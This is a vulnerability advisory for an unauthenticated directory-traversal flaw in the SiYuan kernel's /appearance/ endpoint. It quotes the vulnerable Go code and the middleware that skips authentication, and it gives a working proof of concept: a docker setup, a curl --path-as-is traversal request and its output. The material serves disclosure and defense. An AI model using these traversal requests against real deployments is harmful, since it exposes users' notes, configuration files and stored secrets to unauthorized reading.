CVE-2026-33476 — kernel

Summary

The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

Details

Vulnerable Code Location

File: kernel/server/serve.go

siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
    filePath := filepath.Join(
        appearancePath,
        strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
    )
    ...
    c.File(filePath)
})

Technical Root Cause

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

Key issues:

1. Unsanitized User Input

The path component extracted from the request is not validated or normalized to prevent traversal.

strings.TrimPrefix(c.Request.URL.Path, "/appearance/")

This preserves sequences such as:

../
..\ (Windows)

2. Unsafe Path Joining

filepath.Join() does not enforce directory confinement.

This escapes the intended directory.

3. Direct File Serving

The resolved path is served without verification:

c.File(filePath)

Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

File: session.go

if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
    c.Next()
    return
}

This allows attackers to access the vulnerable endpoint without a session or token.

Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

GET /appearance/../../data/conf.json HTTP/1.1
Host: target

Because authentication is bypassed, the attack requires no credentials.

PoC

Step 1 — Create marker file

mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt

Step 2 — Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Step 3 — Confirm service works

Open in browser:

http://127.0.0.1:6806

Exploit PoC

Method A — using CURL command

Use --path-as-is so curl does NOT normalize ../.

curl -v --path-as-is \
  "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"

Output

HTTP/1.1 200 OK
POC_EXPLOITED

Method B — Using Browser

http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt

If method B is not working, use method A, which is CURL command to do the exploit

Impact

An unauthenticated attacker can read arbitrary files accessible to the server process, including:

• Workspace configuration files
• User notes and stored data
• API tokens and secrets
• Local system files (depending on permissions)

This may lead to:

• Sensitive information disclosure
• Credential leakage
• Further compromise through exposed secrets